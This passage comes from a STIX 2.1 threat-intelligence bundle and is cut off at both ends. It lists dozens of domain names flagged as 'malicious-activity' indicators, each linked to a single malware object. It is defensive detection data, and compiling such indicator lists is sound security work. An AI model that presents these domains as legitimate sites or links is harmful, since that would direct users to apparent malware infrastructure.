"indicator--025f3b24-f061-4f37-962c-61302c728eff", "created": "2024-01-26T21:28:21.051229Z", "modified": "2024-01-26T21:28:21.051229Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cashtowebmail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.051229Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32f40575-6a41-48d8-81e6-70d8c2533068", "created": "2024-01-26T21:28:21.051633Z", "modified": "2024-01-26T21:28:21.051633Z", "relationship_type": "indicates", "source_ref": "indicator--025f3b24-f061-4f37-962c-61302c728eff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--375ffc9a-ab6c-44ad-8347-815c4cba4299", "created": "2024-01-26T21:28:21.05173Z", "modified": "2024-01-26T21:28:21.05173Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='seriousprotection.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.05173Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--49e43cb1-59b7-4573-b516-9bfc9fdf54d5", "created": "2024-01-26T21:28:21.052134Z", "modified": "2024-01-26T21:28:21.052134Z", "relationship_type": "indicates", "source_ref": "indicator--375ffc9a-ab6c-44ad-8347-815c4cba4299", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--121c977e-3648-4dcb-a2b7-940da8d19f9b", "created": "2024-01-26T21:28:21.052231Z", "modified": "2024-01-26T21:28:21.052231Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='one-isnot-enough.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.052231Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9a1ff409-029c-41fe-ad72-a84bd2a7a576", "created": "2024-01-26T21:28:21.052638Z", "modified": "2024-01-26T21:28:21.052638Z", "relationship_type": "indicates", "source_ref": "indicator--121c977e-3648-4dcb-a2b7-940da8d19f9b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--140cb4a5-8a4c-495c-83b3-a9a12450f01b", "created": "2024-01-26T21:28:21.052734Z", "modified": "2024-01-26T21:28:21.052734Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='directurl-loading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.052734Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec3bbd38-491a-4ad7-8bd1-24818f352132", "created": "2024-01-26T21:28:21.053218Z", "modified": "2024-01-26T21:28:21.053218Z", "relationship_type": "indicates", "source_ref": "indicator--140cb4a5-8a4c-495c-83b3-a9a12450f01b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--deaae4bf-9959-4aa3-8c88-78df34993c08", "created": "2024-01-26T21:28:21.053317Z", "modified": "2024-01-26T21:28:21.053317Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='telephonequality.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.053317Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34cc3236-addf-4892-b193-f7f8e8fe113c", "created": "2024-01-26T21:28:21.053723Z", "modified": "2024-01-26T21:28:21.053723Z", "relationship_type": "indicates", "source_ref": "indicator--deaae4bf-9959-4aa3-8c88-78df34993c08", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a3736556-79fe-4eb5-9430-3bf8f2e23975", "created": "2024-01-26T21:28:21.053819Z", "modified": "2024-01-26T21:28:21.053819Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='revolution-news.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.053819Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3200b948-67d3-4d25-847e-0d4159743c4c", "created": "2024-01-26T21:28:21.054218Z", "modified": "2024-01-26T21:28:21.054218Z", "relationship_type": "indicates", "source_ref": "indicator--a3736556-79fe-4eb5-9430-3bf8f2e23975", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a86c934c-fc14-4eb8-9e84-37568246cc66", "created": "2024-01-26T21:28:21.054315Z", "modified": "2024-01-26T21:28:21.054315Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-ads.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.054315Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--644c20fd-9483-4d33-83ad-b66c37c4a5ea", "created": "2024-01-26T21:28:21.054717Z", "modified": "2024-01-26T21:28:21.054717Z", "relationship_type": "indicates", "source_ref": "indicator--a86c934c-fc14-4eb8-9e84-37568246cc66", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c8b63d8a-fe9a-4aba-94af-3baf75dbd3af", "created": "2024-01-26T21:28:21.054814Z", "modified": "2024-01-26T21:28:21.054814Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='glasstaken.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.054814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a34b718f-7550-415f-91fd-1b44180233e5", "created": "2024-01-26T21:28:21.05521Z", "modified": "2024-01-26T21:28:21.05521Z", "relationship_type": "indicates", "source_ref": "indicator--c8b63d8a-fe9a-4aba-94af-3baf75dbd3af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8a4dfd9b-55d5-4fbd-8bda-5a3768bf9af8", "created": "2024-01-26T21:28:21.055306Z", "modified": "2024-01-26T21:28:21.055306Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='notresante-infos.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.055306Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4cf2f09-6734-44fa-af96-fd2ea30f96d7", "created": "2024-01-26T21:28:21.055717Z", "modified": "2024-01-26T21:28:21.055717Z", "relationship_type": "indicates", "source_ref": "indicator--8a4dfd9b-55d5-4fbd-8bda-5a3768bf9af8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--07032e6b-97a7-4ef2-ac4a-1ece3f59ef66", "created": "2024-01-26T21:28:21.055814Z", "modified": "2024-01-26T21:28:21.055814Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='easy-pay.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.055814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7171a10e-9f31-4317-80db-04251f8f1cd5", "created": "2024-01-26T21:28:21.05621Z", "modified": "2024-01-26T21:28:21.05621Z", "relationship_type": "indicates", "source_ref": "indicator--07032e6b-97a7-4ef2-ac4a-1ece3f59ef66", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cb4e54d4-8ecf-4302-aa0e-da9cd40d18ef", "created": "2024-01-26T21:28:21.056314Z", "modified": "2024-01-26T21:28:21.056314Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='safe-mondays.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.056314Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--426be443-c389-4949-a05e-cf14627b547b", "created": "2024-01-26T21:28:21.056714Z", "modified": "2024-01-26T21:28:21.056714Z", "relationship_type": "indicates", "source_ref": "indicator--cb4e54d4-8ecf-4302-aa0e-da9cd40d18ef", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd387468-eabb-4753-95d6-dfc07c0634fd", "created": "2024-01-26T21:28:21.056809Z", "modified": "2024-01-26T21:28:21.056809Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noor-alhedaya.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.056809Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9281d784-56ea-4950-82a9-7b2c7985ed40", "created": "2024-01-26T21:28:21.057214Z", "modified": "2024-01-26T21:28:21.057214Z", "relationship_type": "indicates", "source_ref": "indicator--fd387468-eabb-4753-95d6-dfc07c0634fd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--28b897e1-3bea-4d43-92ed-9c3bd60f2236", "created": "2024-01-26T21:28:21.057311Z", "modified": "2024-01-26T21:28:21.057311Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nightscloudwant.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.057311Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--23767264-121d-4dea-806f-daef81b93c0b", "created": "2024-01-26T21:28:21.057794Z", "modified": "2024-01-26T21:28:21.057794Z", "relationship_type": "indicates", "source_ref": "indicator--28b897e1-3bea-4d43-92ed-9c3bd60f2236", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6c95e89b-7930-4f3a-b164-1b76a414647e", "created": "2024-01-26T21:28:21.057892Z", "modified": "2024-01-26T21:28:21.057892Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='getagift.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.057892Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--38b3278b-62b8-462d-987e-7f4d0a3d109c", "created": "2024-01-26T21:28:21.05829Z", "modified": "2024-01-26T21:28:21.05829Z", "relationship_type": "indicates", "source_ref": "indicator--6c95e89b-7930-4f3a-b164-1b76a414647e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd9d1935-6283-4083-a245-2f1f516abfa3", "created": "2024-01-26T21:28:21.05839Z", "modified": "2024-01-26T21:28:21.05839Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlpush.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.05839Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d307e2de-c6f1-43de-95b0-b29190af29ec", "created": "2024-01-26T21:28:21.058781Z", "modified": "2024-01-26T21:28:21.058781Z", "relationship_type": "indicates", "source_ref": "indicator--bd9d1935-6283-4083-a245-2f1f516abfa3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d5f4123f-959b-4710-aeab-f8bb6692a787", "created": "2024-01-26T21:28:21.058877Z", "modified": "2024-01-26T21:28:21.058877Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adsmetrics.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.058877Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bb415b07-9464-4f6b-8ff9-3fc4dcd91574", "created": "2024-01-26T21:28:21.059271Z", "modified": "2024-01-26T21:28:21.059271Z", "relationship_type": "indicates", "source_ref": "indicator--d5f4123f-959b-4710-aeab-f8bb6692a787", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--475e9be6-472e-411e-980e-1e7bf380b233", "created": "2024-01-26T21:28:21.059368Z", "modified": "2024-01-26T21:28:21.059368Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cdnwa.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.059368Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62583d3a-2573-4178-b96c-247d6d1a44ee", "created": "2024-01-26T21:28:21.059761Z", "modified": "2024-01-26T21:28:21.059761Z", "relationship_type": "indicates", "source_ref": "indicator--475e9be6-472e-411e-980e-1e7bf380b233", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--55b8ff30-a262-47ec-a5a1-9c6ca5c042eb", "created": "2024-01-26T21:28:21.059862Z", "modified": "2024-01-26T21:28:21.059862Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='humandiven.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.059862Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--920efb3f-6805-43b5-a000-417e1e9cf8de", "created": "2024-01-26T21:28:21.060265Z", "modified": "2024-01-26T21:28:21.060265Z", "relationship_type": "indicates", "source_ref": "indicator--55b8ff30-a262-47ec-a5a1-9c6ca5c042eb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9fa49369-5f5e-4058-9fc5-822822b3ecf1", "created": "2024-01-26T21:28:21.060364Z", "modified": "2024-01-26T21:28:21.060364Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websconnector.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.060364Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7579263-45a4-46ed-a2d7-68a5d04df0b8", "created": "2024-01-26T21:28:21.060764Z", "modified": "2024-01-26T21:28:21.060764Z", "relationship_type": "indicates", "source_ref": "indicator--9fa49369-5f5e-4058-9fc5-822822b3ecf1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--63e5c2f1-f55e-4c6d-b3cb-6c1d6a843450", "created": "2024-01-26T21:28:21.06086Z", "modified": "2024-01-26T21:28:21.06086Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='walkerpost.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.06086Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7965b43b-299d-4136-bcc4-65e2e3bb36a4", "created": "2024-01-26T21:28:21.061263Z", "modified": "2024-01-26T21:28:21.061263Z", "relationship_type": "indicates", "source_ref": "indicator--63e5c2f1-f55e-4c6d-b3cb-6c1d6a843450", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--48d61366-a1af-42c6-9c4d-5e6a4282785c", "created": "2024-01-26T21:28:21.061363Z", "modified": "2024-01-26T21:28:21.061363Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='addmyid.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.061363Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cde5961f-6ba8-401c-b9f6-55764735fdbf", "created": "2024-01-26T21:28:21.061755Z", "modified": "2024-01-26T21:28:21.061755Z", "relationship_type": "indicates", "source_ref": "indicator--48d61366-a1af-42c6-9c4d-5e6a4282785c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c3de541a-12e8-45b7-bb80-d6d6682d265a", "created": "2024-01-26T21:28:21.06185Z", "modified": "2024-01-26T21:28:21.06185Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allladiesloveme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.06185Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5a805ce7-48e7-45ff-90ba-65bc95b45eb9", "created": "2024-01-26T21:28:21.062336Z", "modified": "2024-01-26T21:28:21.062336Z", "relationship_type": "indicates", "source_ref": "indicator--c3de541a-12e8-45b7-bb80-d6d6682d265a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d323eb50-268e-412f-a0ab-a808dfea9db7", "created": "2024-01-26T21:28:21.062437Z", "modified": "2024-01-26T21:28:21.062437Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fadi7apress.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.062437Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d59f88d5-1b39-4aee-b358-ae81b7999438", "created": "2024-01-26T21:28:21.062886Z", "modified": "2024-01-26T21:28:21.062886Z", "relationship_type": "indicates", "source_ref": "indicator--d323eb50-268e-412f-a0ab-a808dfea9db7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--63be3bf5-651d-4766-84a6-c36130ad8da5", "created": "2024-01-26T21:28:21.062985Z", "modified": "2024-01-26T21:28:21.062985Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheaptransporting.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.062985Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af6c3274-3a84-47c4-aa2d-057d8c81873a", "created": "2024-01-26T21:28:21.063389Z", "modified": "2024-01-26T21:28:21.063389Z", "relationship_type": "indicates", "source_ref": "indicator--63be3bf5-651d-4766-84a6-c36130ad8da5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--036e14b3-2d67-4b7d-9cf8-662f498ef6ad", "created": "2024-01-26T21:28:21.063487Z", "modified": "2024-01-26T21:28:21.063487Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='leavehomego.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.063487Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--70427ef9-87fe-4af2-8f0f-fb2fd60d210e", "created": "2024-01-26T21:28:21.0639Z", "modified": "2024-01-26T21:28:21.0639Z", "relationship_type": "indicates", "source_ref": "indicator--036e14b3-2d67-4b7d-9cf8-662f498ef6ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eedbec82-8f0c-473b-a393-d628caceac62", "created": "2024-01-26T21:28:21.063997Z", "modified": "2024-01-26T21:28:21.063997Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='centersession.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.063997Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c768bb7-543c-4a29-a60b-0499a3e06504", "created": "2024-01-26T21:28:21.064414Z", "modified": "2024-01-26T21:28:21.064414Z", "relationship_type": "indicates", "source_ref": "indicator--eedbec82-8f0c-473b-a393-d628caceac62", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8c5fd1bf-30d7-4345-90f7-04f4549f7fcd", "created": "2024-01-26T21:28:21.064514Z", "modified": "2024-01-26T21:28:21.064514Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='managedsnap.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.064514Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--44581ba8-7da9-40ea-8343-9e5b5bf90310", "created": "2024-01-26T21:28:21.064911Z", "modified": "2024-01-26T21:28:21.064911Z", "relationship_type": "indicates", "source_ref": "indicator--8c5fd1bf-30d7-4345-90f7-04f4549f7fcd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--246d20fc-8e2a-4748-8e02-8e2bda90dabf", "created": "2024-01-26T21:28:21.065008Z", "modified": "2024-01-26T21:28:21.065008Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webadv.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.065008Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8aaef63a-0c91-4d01-8469-30014ed0b61d", "created": "2024-01-26T21:28:21.0654Z", "modified": "2024-01-26T21:28:21.0654Z", "relationship_type": "indicates", "source_ref": "indicator--246d20fc-8e2a-4748-8e02-8e2bda90dabf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d616cdd4-baa3-49af-bfd7-50807c8f3cf0", "created": "2024-01-26T21:28:21.065501Z", "modified": "2024-01-26T21:28:21.065501Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='muzicclips.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.065501Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--08ca1e49-21b7-4839-92d5-fe9e1c710965", "created": "2024-01-26T21:28:21.065899Z", "modified": "2024-01-26T21:28:21.065899Z", "relationship_type": "indicates", "source_ref": "indicator--d616cdd4-baa3-49af-bfd7-50807c8f3cf0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6e266e66-c4e3-442b-b090-726f2064fd7d", "created": "2024-01-26T21:28:21.065995Z", "modified": "2024-01-26T21:28:21.065995Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='investormanage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.065995Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6fda523b-b278-471d-8c06-083ba45aebe1", "created": "2024-01-26T21:28:21.066398Z", "modified": "2024-01-26T21:28:21.066398Z", "relationship_type": "indicates", "source_ref": "indicator--6e266e66-c4e3-442b-b090-726f2064fd7d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--369b0ddd-db57-4a9f-92ab-408dd6fd80ed", "created": "2024-01-26T21:28:21.066494Z", "modified": "2024-01-26T21:28:21.066494Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='goodcookingonline.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.066494Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--200a9b62-8f6b-42d8-ad32-65a5ae4a574c", "created": "2024-01-26T21:28:21.06698Z", "modified": "2024-01-26T21:28:21.06698Z", "relationship_type": "indicates", "source_ref": "indicator--369b0ddd-db57-4a9f-92ab-408dd6fd80ed", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73e3e94b-ed4f-4b9d-89d2-270a917f1f9f", "created": "2024-01-26T21:28:21.067082Z", "modified": "2024-01-26T21:28:21.067082Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ppcisdead.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.067082Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d41aec00-908c-4529-83ab-c2a1545a0729", "created": "2024-01-26T21:28:21.067479Z", "modified": "2024-01-26T21:28:21.067479Z", "relationship_type": "indicates", "source_ref": "indicator--73e3e94b-ed4f-4b9d-89d2-270a917f1f9f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--373ca5f4-abb5-4dab-a771-5df9679c8751", "created": "2024-01-26T21:28:21.067576Z", "modified": "2024-01-26T21:28:21.067576Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shortredirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.067576Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecb58054-2520-4e24-ab15-25f741339e4e", "created": "2024-01-26T21:28:21.067979Z", "modified": "2024-01-26T21:28:21.067979Z", "relationship_type": "indicates", "source_ref": "indicator--373ca5f4-abb5-4dab-a771-5df9679c8751", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4719ba2a-0dfd-4a4a-aa81-cc0586c4d2db", "created": "2024-01-26T21:28:21.068075Z", "modified": "2024-01-26T21:28:21.068075Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gulf-financials.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.068075Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fd61b770-4a08-445a-8f33-8efd33faf97e", "created": "2024-01-26T21:28:21.068483Z", "modified": "2024-01-26T21:28:21.068483Z", "relationship_type": "indicates", "source_ref": "indicator--4719ba2a-0dfd-4a4a-aa81-cc0586c4d2db", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36a38065-76c7-4d9d-9d4c-347b980c4bba", "created": "2024-01-26T21:28:21.068579Z", "modified": "2024-01-26T21:28:21.068579Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='brighttooth.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.068579Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d258be64-c8ed-405e-9ae6-fa2dbf3687bc", "created": "2024-01-26T21:28:21.068979Z", "modified": "2024-01-26T21:28:21.068979Z", "relationship_type": "indicates", "source_ref": "indicator--36a38065-76c7-4d9d-9d4c-347b980c4bba", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d518fa1-82de-40cf-9eca-547042af39eb", "created": "2024-01-26T21:28:21.069078Z", "modified": "2024-01-26T21:28:21.069078Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gostatspro.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.069078Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9809c46f-f920-4d9b-bb00-dca303536b54", "created": "2024-01-26T21:28:21.069472Z", "modified": "2024-01-26T21:28:21.069472Z", "relationship_type": "indicates", "source_ref": "indicator--4d518fa1-82de-40cf-9eca-547042af39eb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--475c225d-a7a8-477d-b21b-1f93b01acf06", "created": "2024-01-26T21:28:21.069568Z", "modified": "2024-01-26T21:28:21.069568Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shtraf.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.069568Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--181f1b41-54d8-4dc6-9567-b4c637bc2956", "created": "2024-01-26T21:28:21.069968Z", "modified": "2024-01-26T21:28:21.069968Z", "relationship_type": "indicates", "source_ref": "indicator--475c225d-a7a8-477d-b21b-1f93b01acf06", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c35a920d-7bd6-49bb-8fcc-98bf9e43560b", "created": "2024-01-26T21:28:21.070065Z", "modified": "2024-01-26T21:28:21.070065Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='khaleejtimes.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.070065Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27e6e6a2-ceac-4afb-a23e-99aca62bccba", "created": "2024-01-26T21:28:21.070567Z", "modified": "2024-01-26T21:28:21.070567Z", "relationship_type": "indicates", "source_ref": "indicator--c35a920d-7bd6-49bb-8fcc-98bf9e43560b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--15935761-25d2-4e7b-a042-2ae7ef99b779", "created": "2024-01-26T21:28:21.070665Z", "modified": "2024-01-26T21:28:21.070665Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='knowingfun.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.070665Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eeb78727-6995-4b1b-a747-14737c0a0ab6", "created": "2024-01-26T21:28:21.071063Z", "modified": "2024-01-26T21:28:21.071063Z", "relationship_type": "indicates", "source_ref": "indicator--15935761-25d2-4e7b-a042-2ae7ef99b779", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73c1e3e6-8865-4bf5-ae41-c7ea9b7e430e", "created": "2024-01-26T21:28:21.071159Z", 